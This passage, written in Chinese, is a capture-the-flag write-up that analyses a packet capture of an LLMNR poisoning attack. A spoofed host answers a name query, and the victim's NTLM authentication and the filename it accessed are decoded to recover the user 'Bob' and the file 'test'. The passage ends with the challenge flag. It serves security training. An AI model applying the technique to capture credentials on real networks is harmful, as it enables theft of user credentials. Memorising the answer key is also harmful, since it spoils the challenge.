查詢失敗時,Windows 會嘗試使用 LLMNR(Link-Local Multicast Name Resolution)來解析同一個名稱。 封包中可看到類似: ```txt LLMNR query A fulesrv ``` 這表示系統改用 LLMNR 發送名稱查詢,詢問「誰是 fulesrv?」 - LLMNR Poisoning「怪事」的來源 在這個階段,攻擊者主機(例如 IP:`192.168.50.200`)偽裝成 fulesrv 回應這個 LLMNR 查詢,聲稱自己就是目標伺服器。 結果: - 使用者誤以為解析成功,實際上連到的是攻擊者主機。 - 之後便會對攻擊者的 IP 建立 SMB 連線(TCP 445),並送出驗證資訊。 這就是典型的 **LLMNR Poisoning** 攻擊流程,也是題目「User’s Bad Day」名稱的由來。 - 帳號名稱:從 NTLM 驗證中取得使用者帳號 當使用者透過 SMB 連向假冒的伺服器時,會進行 NTLM 驗證流程,其中會包含 `NTLMSSP AUTHENTICATE_MESSAGE` 封包。 在這類封包中,通常可解析出: - Domain Name - User Name - Workstation Name 將封包中的 Unicode(UTF-16LE)字串解碼後,可以得到: - Domain Name:`DOMAIN` - User Name:`Bob` - Workstation:`WORKST` 題目問的是「攻擊者攔截到的帳號名稱」,也就是 NTLM 驗證裡的使用者名稱: ✅ 帳號名稱 = `Bob` - 檔案名稱:從 SMB 封包中的字串還原 在後續 SMB 封包中,會出現使用者嘗試存取的檔案路徑或檔案名稱。題目提示要注意 UTF-16LE 編碼,因此用十六進制觀看封包內容時可以看到類似: ```txt 74 00 65 00 73 00 74 00 ``` 將這串 bytes 以 UTF-16LE 解碼: - `74 00` → `'t'` - `65 00` → `'e'` - `73 00` → `'s'` - `74 00` → `'t'` 合起來就是: - `test` 題目同時強調「檔案名稱不含副檔名」,所以即便實際檔案可能是 `test.txt`、`test.docx` 等,在 Flag 中只需要檔名本體: ✅ 檔案名稱 = `test` 依題目指定格式: ```txt FhCTF{主機名稱_帳號代號_檔案名稱} ``` 將前面三個已確認的答案依序代入: - 主機名稱:`fulesrv` - 帳號代號(帳號名稱):`Bob` - 檔案名稱:`test` 得到最終 Flag: :::success FhCTF{fulesrv_Bob_test} :::